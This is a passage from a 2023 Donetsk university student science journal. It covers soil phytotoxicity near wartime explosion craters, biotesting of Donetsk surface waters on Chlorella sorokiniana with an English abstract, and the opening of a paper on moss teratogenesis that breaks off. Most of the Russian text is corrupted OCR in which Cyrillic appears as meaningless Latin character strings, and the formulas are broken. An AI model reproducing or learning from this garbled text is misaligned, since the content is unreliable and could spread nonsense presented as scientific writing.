MeTo10/10THYecKO  OCHOBOM  NMPOBENEHUs OKCIEpUMEHTa IOCIY)XWIUM HapaObOTKU
CIeUANUCTOB Kadeapsl OOTAHUKU M AKOJOTHU B 00nactu guronHaukanuu [20] u ananusa
YUTHUBOCTH (hoTOCHCTEM B TE€XHOTeHHBIX ycioBusx JlonOacca [21], a Takxke coOCTBEHHBIE
WCCIIEIOBAHMSI, pealu3yeMble B paMKaX CTYJICHUECKOW HaydHOH paboThl [22—24], B KOTOPBIX
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OIMCaHbl aCMEKTbl M3Y4YEHUs PACTEHHH B HEOJIArONpPUATHBIX 3KOJIOIMYECKHX YCIOBHUSX,
CO3JJaHHBIX B PE3YJIbTATE BEACHUSA BOCHHBIX JEHCTBUNA HA TEPPUTOpUU JIOHELIKOrO KpsixKa.
BoznelicTBue Ha OKpYXKarolUyto Cpey BCEro JHILb OAHONW OOMOBI, yIaBIel B Moje yxe
TparuyHo JJIsl BCEro NOYBEHHO-PACTUTEIBLHOTO ITIOKPOBA arpoLeH03a, KOTOPBIN OBEPraeTCs
paspylleHHI0 CBOEH CTpyKTypbl. Kpome TOro, BBIOpachbIBAalOTCS TSDKEIblE METAIbl U
TOKCHYHBIE XUMHUYECKHE BEIIECTBA, DPACIPOCTPAHSIOMIKECS MO BceMmy JaHamadry u
aTMocdepe, momnajas B IOJ3EMHbIE BOJbl, KOTOPbIE W TAaK HMCTOLIEHBI OT IE€PECHIXaHUs
BOJIOEMOB BCIICAICTBHE TIOUYTH HYJIEBOTO YpOBHs BObI B kaHane CeBepckuii [loner-/{onbacc.
Jlis mokpeITHSL OBITOBBIX M MIPOM3BOJCTBEHHBIX HYX[ Hacenenus JJHP ucnonb3yercs Bona
PE3EpBHBIX BOJOEMOB, YTO BEIET K IEPECHIXaHUI0 U OOMEJNEHHUIO0 MPHUPOIHBIX U
HCKYCCTBEHHBIX BoJoXpaHwaull. CyIecTBEHHBIMU HApYIIEHUSIMU CKa3bIBAlOTCS B3PbIBBI U
JUISl €CTECTBEHHBIX 9KOCUCTEM, MCIIOJIb3YEMBbIX JUIsl (PUTOAMATHOCTUKH COCTOSIHUS SKOTOIIOB
u sadoTornoB B yactHoCTH (puc. 1).

.

Puc. 1 — Boposnxka ot B3peiBa PC30 «I'pan» B UepBoHOTBapeiickoM pailoHe
ropoja MakeeBku

DOnadoTon SABISETCS BAKHEHIICH COCTaBISIONIEH 3KOCHCTEMBI: B HEM TPOUCXOIHT
3aMbIKaHHWE IIMKIIOB BEIIECTBA W OHEPrUU, OCYIIECTBISETCS TEepeBOoJ M3 MEPTBOTO
OpPraHUYECKOTO BEIIECTBA B MUHEPATLHEIC BEIIECTBA M MX BOBJICYCHHE B )KHBYIO OHOMAcCy.
OCHOBHBIMU HOCHUTEIISIMU HEPTUU B 37aOTONE BHICTYNAIOT OPraHUYEeCKUE COEIUHEHUS
yTIepoa, uX JIAOWIBHBIC U CTa0MIbHBIC (DOPMBI; OHU B HAMOOJIBINEH CTENICHU ONPEEIISIOT
wiogopoare mouB. OT MOYBEHHBIX YCIOBH 3aBUCST COCTaB, CTPOCHHE U MPOTYKTHBHOCTH
(GUTOIEHO3a, a TAaK)KE KA4eCTBO PACTHTEIHHOTO CHIPhS, HA YTO KOJUIOCATBHBIM 00pazoMm
BIUSIOT BOCHHBIE JelcTBUA. JIJi1 TOCTaBIEHHOTO OJKCIEPUMEHTa  HCIONb3yeTCs
¢dbuToTECTUPOBAHNE, KAK METOJ, MOHUTOPHHIA IOYB, YTO SIBISETCA 0Oo0Jiee WHTErpalbHbIM
METOJIOM aHalli3a, MO3BOJISIONINM OILICHUTh (PUTOTOKCHMYHOCTh. J[si Takoro aHammsa
UCIOJIb3YIOTCSL pa3lIMYHbIE TECT-PACTEHUS, KOTOPHIE pEearupyroT Ha HeOJIaronpusTHbIE
W3MEHEHHUS B TIOYBE, BO3yXE U B IPYTHX Cpeax.

st onpenenenus GUTOTOKCUIHOCTH TTOUBHI JJoHOACCa 1 BIHMsTHUE €€ Ha POCT PACTCHHI
OBUIO TPUHATO PpEIUICHHE MPOBECTH TECTHPOBAaHHE OOpa3lOB IMOYB C PAa3HBIX YYaCTKOB
paiioHoB [lonbacca, METOIOM TPOPOCTOB, TaK KaK JAHHBIA METOJ JOCTAaTOYHO IMPOCT U
ornepaTuBeH. B kauecTBe TeCT-KyabTyp B3sATHI ceMena Plantago major L., Plantago media L.,
Vicia faba L. Tak kak MOAOPOXHHUKH IIHPOKO PaCIpOCTPaHEHBI, Pa3HOOOpa3HbI, JIETKO
KYJIbTUBHPYIOTCS, 9YaCTO UCHONB3YIOTCS B Pa3lUYHBIX OMOJOTHYECKHX JKCIEPUMEHTAX W
uccrnenoBanusx. Cemena moneBoit ¢acomu (Vicia faba L.) Obutn BeIOpaHBI A 3TOrO
AKCIIEPUMEHTA, TOCKOJBKY U3BECTHO, YTO 3TOT BUJ HEMPUXOTINB B €CTECTBEHHBIX YCIOBUIX
obutanwms. Jlyig TeCT-00BEKTOB ObUIH B3STHI CIEAyIONIUE JaHAmapTHRIE ydyacTku (puc. 2):
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r. MakeeBka, YepBoHorBapaeiickuii paiion; r. Jloneuk, Kuesckuii paiion; r. Illaxtepck;
r. MiioBalick.

MakeeBka

MnoBanck

Puc. 2 — Toukn 3a6opa 00pa31oB ajist GUTOTECTUPOBAHUS

Onpenenuiim TOKCUYHOCTh MOBPEXIECHHON MOYBbI OT CHAPAJIOB — W3YyUYEHUE BIIMSIHUS
3arpsi3HEHUS U YIAICHHOCTH OT IIEHTPa y4acTKa Ha apaMeTphbl pocTa pacTeHHM, a UMEHHO:
BBICOTY PAaCTEHHUS U KOJUYECTBO JUCThEB. 3arpsi3HEHUE MOUBHI €CTh OCHOBHOH 3d¢eKT
(He3aBUCUMBIN (DAKTOP) C IBYMS YPOBHSIMU: 3arPSI3HEHUE U KOHTPOJIb.

[IpoOer mouBEl oTOWpanu Ha TayomHe 0—20 cM BOKpYr LIEHTpa MecTa B3pbIBa, HA
pacctostaun 50 cMm, 1 M, 2 M, 4 M 1 6 M OT HIEHTpA IIOMIAAKH. J[oTOMHUTEIbHBIE 00pA3IIhI
MTOYBHI, B KAY€CTBE KOHTPOJIBHBIX, OBLIH B3SITHI C HE3arPsA3HEHHOTO YJ9acTKa, B MApKe IEHTpa
ropoga MakeeBku. Ilocie mocanku pacTeHud 3aQUKCHpPOBANIM POCT CESHIEB W HX
OMOJIOTMYeCKHEe OCOOCHHOCTH, MPOAHAIM3UPOBATN POCT KOPHEH M TMOOETOBOW dacTh
pacTeHuii; OJHOBPEMEHHO IIPOW3BENIM PACYETHl MO SHEPTrUU MPOPACTAHUS U HHICKCY
TOKCUYIHOCTH olleHuBaemMoro dakropa (UTD).

TakuM 00pa3oM, yCTaHOBJIEHO, UTO 0Opaslbl MOYB, B3ATHIX U3 3Aa(OTOMNOB yU4aCTKOB
AKTUBHOW MHJINTAPU3AIINH, 00JIa/Ial0T MOBBIIIEHHBIM YPOBHEM (DUTOTOKCUIHOCTH.
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VJIK 577.0

OIIEHKA TOKCHYHOCTHU HNOBEPXHOCTHBIX BOA METOJ1OM
BUOTECTHUPOBAHUS HA KYJIBTYPE CHLORELLA SOROKINIANA

T'ypuna A.B.
Hayunwtit pykosooumens: HYyguukuii C. B., cmapwuii npenooasameins
oy BIIO «/IOHHY»

Annomayus. Llenbro ucciie[0BaHUS ABISUIOCH H3YYCHUE COCTOSHIUS OBEPXHOCTHBIX TIPHPOIHBIX BOJI BOZOCMOB
ropoaa JloHenka MmerogoM OHMOTECTHpOBaHHMS Ha KymbType MuKpoBomopocieir Chlorella sorokiniana c
NpUMEHEHHEeM MeToa (IIyopHUMETpUH. BBISBICH Psii MOHUTOPUHIOBBIX TOUYCK, MOABEPIKECHHBIX 3arPA3HEHHUIO.
IpencraBnensl pe3yabratsl mo npumeHeHnto OJIP-Tecta mpu mpoBeneHHH OGHOTECTHPOBAHHS Ha KIIETKAX
¢durormankTona. [Toka3aHO OCTPOE M XPOHHYECKOE TOKCHYECKOEC BO3ICHCTBHE HA TECT-KYIBTYPY B PALy
UCCIeyeMBbIX Mpoo.

Kniouesvie cnosa: duorectupopanue, piayopumerpus, Gpayopecueniws xaopoduiia, Chlorella sorokiniana.

Beeagenne. B cBsi3u ¢ Bo3pacTaroliMM aHTPOIIOI€HHBIM 3arpsi3HEHUEM BOJIbI Ha 3emJie
BO3HUKAET HEOOXOAMMOCTh B JKCIpecc-aHaM3e ee KauecTBa. OMacHOCTh aHTPOIOTCHHBIX
CTPECCOPOB COCTOUT B TOM, YTO OMOJOTMYECKHE CUCTEMbl HEJOCTaTOUHO a/allTUPOBAHBI K
HUM. AHTPOTIOT€HHBIE CTPECCOPBI CO3JAIOTCS C TAKOW CKOPOCTHIO, YTO B JKHMBBIX CHCTEMax
4acTO HE YCIEBAIOT aKTUBU3MPOBATHCS COOTBETCTBYIOLIME aJANTAallMOHHBIE IPOLIECCHI.
MHuorue anTponoreHHbie (pakTopbl cpeibl MOTOMY M CTAaHOBATCS OMACHBIMU CTPECCOPAMH,
YTO OHHM OTJIMYHbI IO BEJIWYMHE, WHTEHCUBHOCTU, MPOJOKUTEIBHOCTU M MOMEHTY
BO3EUCTBUS OT OOBIYHO CYLIECTBYIOIIEH B MPUPOJE «HOPMBI», K KOTOPOH aJanTHPOBaHbI
OMOJI0rMYecKHe CUCTEMBI. B pe3ynbTaTe OHM 4acTo BIMSIOT Ha AUANA30H TOJIEPAHTHOCTH, T.€.
CIOCOOHOCTH OpraHu3Ma MEePEeHOCUTh HEeOJaronpusATHOE BIMSHHUE TOTO WM MUHOTO (akTopa
Cpebl, YTO HEPEAKO NMPUBOAUT K MPEBBILICHUIO JONYCTUMOM Harpy3Ku Ha OpraHU3Mbl U
pacrniagy 6uosiornyeckoii cuctemsi [1].

Jis ruapoOMOJIOrMYecKOoro aHaju3a KadecTBa BOJ MOTYT OBbITh HCIOJIb30BaHBI
IIPAKTUYECKH BCE IPYINIIBI OPraHU3MOB, HACEISIOIINX BONOEMBI [5].

YHuBepcanbHbIM MOKa3aTeJIeM U3MEHEHHsI TOME0CTasa, T.€. TOCTOSHCTBA BHYTPEHHEN
cpeabl OpraHu3Ma; TOMEOCTaTHYEeCKHE MEXaHU3Mbl O00eCHeuuBalOT MPUCIOCOOJIEHUE
(amanranuio) K cpeie M COXPAaHEHHE >KU3HECIIOCOOHOCTH OpraHu3Ma, TeCT-OpraHu3Ma
SBJIAETCSL COCTOSIHUE CTpPECCa MPH MONAJAHUN U3 «UUCTOW» Cpelbl B «3arps3HEHHYIO» [6].

B npenenax 30HbI TOJEPaHTHOCTH OPraHU3M CIIOCOOEH MOAIEP)KUBATH CBOM TOMEOCTA3.
JIr060i1 paxTop, €ciu OH BBIXOJUT 3a MpeAesbl «30HbI KoM(opTay /Ui TaHHOTO OpraHu3Ma,
SIBJIIETCSL CTPECCOBBIM. B 3TOM cilydae MHTEHCUBHOCTD U JUIMTEILHOCTh OTBETHOM peakiuu
OpraHM3Ma 3aBHCHUT OT BUJA U ABJIAETCS I0KA3aTEIEM €0 MHAUKATOPHON LIEHHOCTH. IMeHHO
OTBETHYIO DPEAKIHUI0 ONpeAessioT MeTonbl OuomHaukanu [4]. buonormueckas cucrema
pearupyer Ha BO3JEHCTBUE Cpellbl B IIEJIOM, a HE TOJIBKO Ha OTJeNbHbIE (aKTOPHI, IPUUEM
aMIUIUTYyla Kosie0aHUl (U3NOJIOTUYECKON TOJIEPAHTHOCTH MOAM(PHUIMPYETCS BHYTPEHHUM
COCTOSIHUEM CHUCTEMBI — YCJIOBUSMHU IUTAHMS, BO3PACTOM, '€HETUUECKH KOHTPOJIUPYEMOU
YCTOHUUBOCTRIO [2, 7].

Taxum 06pa3zom, pa3BUTHE U COBEPLICHCTBOBAHNE METO0B MOHUTOPUHTA BOIHBIX CPE]]
SIBJIIETCS OJTHUM U3 IPUOPUTETHBIX HAPaBIEHUI B COBPEMEHHON IKOJIOTHH.

Marepuanbl ¥ MeToAbl. bHOTECTHMpOBaHHE BBINOJHAIN IO OLEHKE COCTOSHUS
OTJIENbHBIX BOJOEMOB B uepTe ropoja JloHelka. YUuThIBalu MPYJbl, PacloOKEHHbIE Ha
tepputopuu LlenTpansHoro napka kKyiasTypbl 1 otabixa uM. A.C. Illepbakona: II ropoackoit
npyn, | roponckoit pyn; Jlonenkoro 6otanmveckoro cana: Il mpyn, nmepenus mexay 111
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MPpyAOM U TIpy1oM MoJioJiexKHbIN, MEeCTO nepesiuBa npyaa Monoaexnsiid; npyaa [lecuansrii;
o3epa Kupiia; Bogoxpanmimiia J[oHelkoe Mope; MecTa MPUTOKA U MeperuBa BOA U3 Ipyaa
ATleKceeBCKOro.

buorectupoBanue mNPOBOAMIM B HECTEPWIBHBIX YCIOBUAX IMPU ONTUMAIbHOU
temreparype (20+2) °C u ocemnienuun ot 2000 10 3000 1K cO CBETOBBIM peKUMOM 12 yacoB
— neHb, 12 wacoB — Houb. [IpoObl BOABI TpeaBapUTENHHO (QHUIBTPOBATM Yepe3
aleTUIIEIUTI0NI03HbIe MeMOpaHHble GuiabTphl THIIa MPAC-OC—4 dupmbr «Briagumop» ¢
nuameTpoM 1op 0,6 MKM ¢ mOMOII[bI0 Hacoca KOMOBCKOTO ¢ 11ebI0 yAaIeHUsI 300IIJIaHKTOHA
U KJIETOK MNPHUPONHOTO (HUTOIUTAHKTOHA. J[Is1 SKCIepUMEeHTa HWCHOJIb30BAIU KYIbTYPY
mukpoBogopocieii Chlorella sorokiniana, maxomsinyrocss B CTaauH SKCIOHEHI[HAILHOIO
pocta. YMCIEHHOCTh KJIETOK B CYCIIEH3UH, KOTOPYIO MCHOJB30BAIM B IKCIIEPUMEHTE
cocrapisuia ot 5 1o 10 murH. kir./cm®.

OcCTpyro U XpOHUYECKYIO0 TOKCHYHOCTB IMMPOOBI YCTAaHABIMBAIOT B X0JI€ OHOTO OMoTEeCTa
(HempepbIBHOE OMOTECTHPOBAHKUE) B 3aBUCHMOCTH OT BPEMEHH MPOSBICHHUSI TOKCHYECKOTO
s dekra. OCTPyIO TOKCUIHOCTh YCTAHABIMBAIOT 32 BPEMS SKCIIO3UIUU 24 |., XPOHHUECKYIO
—32 96 u.

Kpureprem TOKCHYHOCTH SIBIISAETCS OTKJIOHEHUE KOHIIEHTpauu xjiopodunia a Ha 50%
oT KoHTpoJia. OTKIOHEHHE B CTOPOHY YMEHbIIeHUs, paBHOE -50% u 6oee, CBUAECTEILCTBYET
00 yrHeTaromeM JIeHCTBUU WCHBITHIBACMONH BOJBI HA MHKPOBOAOpOoCHH. OTKIOHCHHE
3HaYEHUI B CTOPOHY yBenuueHus, paBHoe +50% u Oosee, KOCBEHHO CBHUJIETEILCTBYET O
HaJU4YUU B HCIBITBIBAEMON BOJIE BEIIECTB, CTUMYJIUPYIOIIMX POCT MHUKPOBOAOPOCIIECH,
Hanpumep, pochopa Ui OpraHUIEeCKUX BEIIECTB.

Copepxanne XJOpopwiia ¢ B HUCCICAYyeMBIX NPoOax ONpeNesuld C MOMOIIBIO
UMITyJIbCHOTO (uryoprmeTpa Phyto-PAM.

[Toacder ynCIEHHOCTH KJIETOK MHKPOBOJOPOCIEH OCYIIECTBISLIIN B kKamepe ['opsieBa.
MUKpOBOJOPOCIN TMOACUMTHIBAIM B 25 MaJ€HbKUX KBaJpaTax, MOIYYCHHYIO) CYMMY
ymHO)amu Ha 10% m momywanu uwmcno xmetok B 1 cm® cycmemsun. KommuecTBo KiIeTok
OTIpEIETISUIN C TOMOIIIBIO CBETOBOTO MUKpockorna MbP-3.

Koaddurment npupocra 4MCICEHHOCTH KJIETOK MHKPOBOJOPOCIEH B KOHTPOJIBLHOW U
onbITHOU cepusax K, oTH. ell., paccunuThiBasu 1o popmye:

K =
No’

rae Ny — YUCIEHHOCTh KJIETOK MUKPOBOJOPOCIIEH B KOHTPOJIE WM B UCIBITHIBAEMON
BOJIC Yepe3 yUHTHIBAEMBIH POMEKYTOK BPEMEHH, ThIC. KII/cM>; Ny — HCXO/{HAs YNCIEHHOCTh
KJIETOK MHKPOBOJIOPOCTIEH, ThIC. KII/ CM°.

OTtknoHeHne K03 PUIIMEHTa MPUPOCTa YUCIEHHOCTH KIETOK MHKpoBogopociein K

%, pacCUUTHIBAIN IO (hopMyIIe:

np»

Kon — K
(01 KOHT
Knp = K—] 100%,
KOHT
rie K,;, — kxoaddumueHT mnpupocta UYHUCIEHHOCTH KJIETOK MHUKPOBOAOPOCIECH B
ucneiTbiBaeMord  Bojae; Kyour — KoddummeHT mpupocTa UHCIECHHOCTH  KJIETOK

MHUKPOBOJIOPOCIICH B KOHTPOJIE.

CornacHo meroandeckuM pexkoMmenmanusm P. 54.24.808-2014 [3] mns ompeneneHus
TOKCHYHOCTH TMPOO HEOOXOIMMO ONpEICICHHE YHUCICHHOCTH KIIETOK TECT-KYJIbTYPhl U
coZiep KaHus XJIOpopHILIA d, ONPEAEICHHOE CIIEKTPO(YOTOMETPUIECKUM METOI0M, uepes3 24
1 96 yacoB PKCHO3MIMU B GUiIbTpare u3 mpod Bojbl. OJHAKO METOJl CHEKTPOPOTOMETPUHN
SBJIIETCS TPYAOEMKHUM U BpeMsl 3aTpaTHBIM, B CBSI3M C ATHM COJEp)KaHME XJopoduiia a
OTIPEACTISUTN C TOMOIIBI0 (IyOpUMETPHUECKOTO MeToaa. Kpome Toro, uisi moiydeHus
OOJIBIIIETO YHMCIIa MTOKAa3aTesICH, XapaKTePU3YIOIIUX COCTOSHUE TECT-KYJIbTYPHI, TPOBOIMIN
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PErucTpaluio KpUBbIX MHAYKIMM M CBETOBBIX KPUBBIX (DIyopecleHLnu XJIOpopuiuIa, YTo
JIaBaji0 BO3MOXKHOCTh OLIEHUTH 3(PPEKTUBHOCTD (PYHKIIMOHUPOBAHHS (POTOCHHTETUIECKOTO
anmnapara MUKPOBOZOPOCIEH.

CyecTByroniye peKOMEHAAUUU HE MPEAIoJaraloT JIOCTaTOYHOM CTaTHCTUYECKON
OLICHKM 3HAYMMOCTH IOJIyYE€HHBIX pe3yJIbTaToB. J[OCTATOYHBIM [UIsl YCTAaHOBJICHUSI OCTPOMU
WIA XPOHUYECKOM TOKCHYHOCTH TPOO CUYUTACTCS OTKIOHEHHE CpPEIHHX 3HA4YCHUH,
IIOJIyYEHHBIX B 3KCIIEPUMEHTE, OT YCPEJHEHHBIX ITOKa3areneil uist KoHTposs. [Ipu stom He
IIPEyCMOTPEHA OLIEHKA OIIMOKY CPEAHETO U IOBEPUTEIbHBIX HHTEPBAIOB. Takoil moixo1 He
SBIISICTCS KOPPEKTHBIM, T.K. B X0O/I€ BBIITOJHEHHS UCCIIEJOBAHUI OBUIN MOJTyYEHBI OTKIIOHEHUS
OT CpEeHUX 3HAYCHUH U1 KOHTPOJIA Ha 3a/aHHyI0 BenuuuHy (25 wiu 50 %), HO pu 3TOM
JOCTOBEPHBIX pPa3IMYMii MEXIy ABYMs BbIOOpKamMu He Habmomanu. CrenoBaTesbHO,
COIJIACHO CYIIECTBYIOILEH METOAMKE TAaKOM pe3yibTaT yKa3blBaeT Ha TOKCUYHOCTH IPOOBI,
TOrJa KaKk OH HE SBJSETCS CTAaTUCTUYECKH 3HAYuMbIM. [loaTOMYy aJii TOJIY4YEeHHBIX
HKCHEPUMEHTAIbHBIX BBIOOPOK OIpPENENsUIM CTaHIAPTHYIO OHIMOKY CpeaHero u ee
JIOBEPUTENIbHBI ~ MHTEpBaji. JlOCTOBEPHOCTh OTJIMYMM MEXIYy KOHTPOJBHBIMU U
9KCIIEPUMEHTAIBHBIMUA 3HAYEHUSMHM OIPEIEISUIA C IOMOIIBIO KpUTepus BuikokcoHa ams
IBYX CBSI3aHHBIX BBIOOpOK. COTJIACHO METOAMKE W Pe3ysbTaTaM CTaTHCTUYECKOTO aHaIHu3a
TOKCHYECKOW CuuTanu Mpoly, I KOTOPOW ObUIM IOJyYeHbl JOCTOBEPHBIE OTIUYUS OT
KOHTPOJIbHBIX 3HAUEHUH, KaK Ui KOHLEHTPAIMH XJIopohmiia, Tak ¥ s KodpUIMeHTa
IIPUPOCTA YUCIIEHHOCTH KJIETOK (PUTOIIIAHKTOHA, TAKXKe P YCIOBUH, YTO CPEIHUE 3HAUCHUS
KOHIIEHTpaui (HOTONMUTMEHTAa OTIMYAINCH OT KOHTPOJBHBIX Ha 50 %, a xoadduiueHTa
npupocrta — Ha 25 %.

PesyabTaTsl nccinenoBanus. s npoO BOJbI BCEX MOHUTOPUHIOBBIX TOYEK OCTPOIO
TOKCHYECKOro JeHcTBUs Ha KynbTypy kierok Chlorella sorokiniana ne nHabiromanocs.
CornacHO, OCHOBHOM METOJIMKE OWOTECTHPOBAHMSI OBUIO BBISBIEHO XPOHUYECKOE
TOKCHYECKOe JAeWcTBUE Ui (uiabTpaTa M3 MOHUTOPHHIOBBIX TOYEK BOJOXpPAaHMIIHUINA
Jlonerkoe Mope u rpuToka B npy AnekceeBckuil. [Ipu Bemonnenun OJIP-tecta, He cmoTps
Ha OTCYTCTBME 3HAUMMbIX HM3MEHEHHH B KOJHMUYECTBEHHBIX IOKa3aTeNax (KOJIUYECTBY
¢doTtonurMenTa M KOIPPUUMEHTY MPUPOCTa), OTMEYAIU CHUXXEHHE (YHKIIMOHAIbHON
aKTUBHOCTH (POTOCMHTETHUYECKOTO arnmapara KJIeTOK TeCT-KYJIbTYpbl, KOTOPOE ObIJIO BBI3BAHO
BO3JIEHCTBUEM (HIIbTpaTa U3 BceX Touek, kpoMme Il ropozackoit npyna u npyna Ilecuansrii.

CrannapTu3upoBaHHasi METOJIMKAa OMOTECTUPOBAHUS HE MO3BOJIMIA BBISIBUTH OCTPOTO
TOKCHYECKOTO NeicTBHs puibTpara Ha KynbTypy kietok Chlorella sorokiniana. Toraa kak,
cornacHo pesynbratam OJIP-tecta mpoOsl Bosbl, 13 MOHUTOPUHTOBBIX Touek 11 u 11l npyna,
npyna «MonoaexHsl», BONOXpaHWIHIIA JloHEnKoe Mope OKa3blBald HEraTUBHOE
BO3JICWCTBUE HA  TeCT-KylnbTypy. OTpuuaTtensHoe BIUsSHHE  (YHKIHOHUPOBAHUS
peakunoHHbIX HeHTpoB DC II (u3menenue Fr), uTo cBA3aHO ¢ moHMkeHHEM 3P (HEKTUBHOCTH
nepefayd 3JIEKTPOHOB OT MEPBUYHOTO 3JIEKTPOHHOrO akuentopa. Takxke HaOmoganm
MOBBIIIEHNE CKOPOCTH BOCCTAHOBJIEHHUSI (Qa (POTOCHHTETHYECKUH HWHAEKC MOHMKAJICS,
OTMEUYEHHOE MOKHO CUUTaTh KOMIIEHCATOPHBIM MEXaHU3MOM.

IIpu Bemomnennn OJIP-Tecta OBIIO BBISIBICHO HETAaTUBHOE BO3JICHCTBHE Ha
(GyHKIMOHMpPOBaHUE (POTOCMHTETHUYECKOTO armapara KIETOK TeCT-KyJIbTYphl OOJbIIETo
gyucna npo0. CorjacHo pe3ynbTaTaM aHajdu3a HHAYKIHMOHHBIX KPUBBIX JJISI KIJIETOK
(bUTOIUIaHKTOHA, OBUIO XapaKTEPHO BO3pAaCTaHUE CKOPOCTHU NepeIaun YHEPIUU BO30YKICHHS,
OJIHAKO, MPH 3TOM CHIXKAJCSA OOIIMH MyJ aKTHUBHBIX 3JIEKTPOHHBIX MEPEHOCYHMKOB, YUCIIO
aKTHUBHBIX PEAKIMOHHBIX IIEHTPOB, a TaKkKe (OTOCHHTETUYECKHH HPOM3BOIUTEIHLHOCTH
¢dotocuctemsl 1I. CnenoBarenbHO, HE CMOTpPS HAa OTCYTCTBHE 3HAUYMMBIX H3MEHEHHIl B
KOJIMYECTBEHHBIX MOKa3aTessX (KOJMYECTBY (POTOMUIMEHTa M KOA(PPHUIMEHTY NMPUPOCTa),
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OTMEYall CHU)KeHUE (PYHKIIMOHATIBHON aKTHBHOCTH (DOTOCHHTETUYECKOTO aIlapara KIeTOK
TECT-KYJIbTYPHI.

st cTamuii OMOTECTUPOBAHUS O ONPEACICHHIO, KaK OCTPOT0, TaK U XPOHUYECKOTO
TOKCHYECKOTO JCHCTBHSI TPOO BOJIBI CHPABEUIMBO TIPEINOJIOKEHUE O KOMIICHCAITUN
cHIKeHHsI 3P PEKTUBHOCTHU TIepeaun YHEPTUn BO30YXKICHUS HA OTIACNbHBIX ydacTkax JTL]
(Q, mw PQH,) 3a cuer mnoBbimeHds 3()(HEKTUBHOCTH (QYHKIIMOHUPOBAHUS IPYTHX
KOMIIOHEHTOB LN (peakMOHHBbIC LEHTPbl U (Qp). PesynbraThl (QuyopuMeTpUYeCKHX
METOJIMK PErHuCTPAIli MHAYKIIMOHHBIX KPUBBIX (DITYOPECHEHIIUU XJIOPOPUILIa COTIACYIOTCS
C pe3yabTaTaMu PEKOMEHIyeMOW METOUKH OMOTECTUPOBAHHUSL.

BoiBoabl. [lonydeHHble JaHHBIE MO0 OMOTECTHUPOBAHHIO HE TOJBKO MOATBEPIKIAIOT
pe3yabTaThl OMOTECTUPOBAHUS, HO TAKXKE MAlOT BO3MOXKHOCTH TOJYYHTH OOJiee TOJTHOE
MIPEJICTABICHHE O COCTOSHUM OWOWHJIMKATOPHBIX OPraHU3MOB, 3HAYUTEIIBHO PACIIUPSIS
BO3MOJKHOCTH OIIPEJICIICHUS] COCTOSIHUSL BOJHBIX pecypcoB. JIaHHBI METOI MOXXET OBITh
MCIIOJIb30BaH IPH OIICHKE COCTOSTHUS MOBEPXHOCTHBIX MMPUPOIHBIX BOJI HA PSIY C OCHOBHBIMU
METOZaMi OMOMOHUTOPHHTA.
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ASSESSMENT OF SURFACE WATER TOXICITY BY BIOTESTING ON CHLORELLA
SOROKINIANA CULTURE

Abstract:. The aim of the study was to study the state of the surface natural waters of the reservoirs of the city
of Donetsk by the method of biotesting on the culture of microalgae Chlorella sorokiniana using the method of
fluorimetry. A number of monitoring points exposed to pollution have been identified. The results of the
application of the OJIP test during biotesting on phytoplankton cells are presented. Acute and chronic toxic
effects on the test culture have been shown in a number of the studied samples.
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Gurina A.V.

Scientific adviser: Chufitsky S.V., senior lecturer of the Department of Biophysics
Donetsk National University

E-mail: gurinaav99@gmail.com, chufitsky@donnu.ru

46


https://mail.yandex.ru/?uid=252611389#compose?to=%22%D0%A1%D0%B5%D1%80%D0%B3%D0%B5%D0%B9%20%D0%A7%D1%83%D1%84%D0%B8%D1%86%D0%BA%D0%B8%D0%B9%22%20%3Cchufitsky%40donnu.ru%3E

Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

V]IK 582.296 : 581.15 (477.60)

TEPATOI'EHE3 MOXOOBPA3HBIX B YCJIOBUAX MPOMBIIIJIEHHOM
CPEJbI JOHBACCA KAK OBFBEKT OBYUYEHMUSA

Kocmpuxuna A.C.
Hayunwui pyxosooumens: Cagponos A.U. kano.ouon.nayx, 3ae.kagpheopoi
oy BIIO «/IOHHY»

Aunnomayus. IlpuBeneHsl npuMepsl ciydatoerocs B Jlonbacce nporecca MOp(hoIOrHuecKoro TepaToreHesa y
MOX000pa3HbIX, TUATHOCTUPYEMOTO BCJICICTBHC MEHSIONIMXCS YCIOBHN CpEIbl, KaK MPAaBHJIO MOBBIIICHUS
AHTPOIIOTCHHOTO BO3JCHCTBHS U (PAaKTOPOB 3arpsi3HeHus. HaKOMICHHBINH WILTIOCTPATUBHBIN M KOJJICKIIMOHHBIH
MaTepuall SBJIAETCS YacThi0 OOYYarolero Mmpolecca CTYACHTOB Kadeapbl O0TaHUKH M dKoJoruu J{oHenkoro
HallMOHAJILHOTO YHUBEPCHUTETA.

Knrouesvie crosa: Mmoxoobpasusle, putonHaukays, JJondacc, 3Konoruueckuii MOHUTOPUHT, 00y4YeHHeE.

BprOOHOHTBI — HYKOJIOTHYECKH W SBOJIIOLMOHHO HEOJHOPOJHAS TPYIIA PacTECHHH,
KOTOpbIE 110 CBOEW HpPUPOJE MPOSBISIIOT KAaK W TUHEP-yCTOWYMBOCTh K TEXHOTEHHBIM
HarpyskaMm, Tak M (OTZEJIbHbIE BHUJbl) — MaKCUMaJbHYIO YSA3BHUMOCTh K (hakTopam
MOBBIIIEHHOIO aHTponoTexHorenesa. s Jlonb6acca MoxooOpasHble — 3TO MEPCIEKTUBHAS
TaKCOHOMMUECKas €IMHULA B BOIPOCAX AHAJTUTUUYECKOI'0 MOHUTOPUHIA IPUPOIHBIX cpes [1—
3]. U3ydenue TepaToaoruuecKux NpOsBICHUM PaCTUTENIbHBIX OpraHu3MoB [4, 5] mo3BoiseT
YCTAHABIIMBATh IPEAEIbl BBIHOCIMBOCTH U BBICHATH MEXAHU3Mbl CTPYKTYPHOHM U
(GYHKIMOHATIBHOM aJanTaluy pacTeHUil K HeCTaOWJIBbHBIM YCIOBHUSAM CpEIbl, YTO TaKXe
SBIISICTCS YaCThIO 00S3aTENIbHBIX HAYYHBIX NMPOrpaMM Ha Kadeape OOTaHUKU M SKOJIOTUH
JIOHEIKOro HalMOHAJIBHOTO YHUBepcuTeTa [6-9].

[lens pabGoTel — mpuBecTH TMpuUMeEpHl chaydaronierocss B JlonOacce mpoiecca
MOp(OJIOTHUECKOr0 TepaToreHe3a y MOXO000pa3HbIX, AMAarHOCTHPYEMOIO BCIEACTBUE
MEHSIOIUXCS YCIOBUM Cpefibl, KaK MPABHJIO MOBBIIIEHUS] aHTPOIIOT€HHOI'O BO3JIEHCTBUS U
(GakTOpOB 3arps3HEHUs; HAKOIUICHHBIN WIUTIOCTPATHBHBI M KOJUIEKLMOHHBIA MaTepual
paccMOTpeTh B KauecTBE YacTH OOYydYaroIlero Impoiiecca CTYACHTOB Kadeapbl OOTaHUKU U
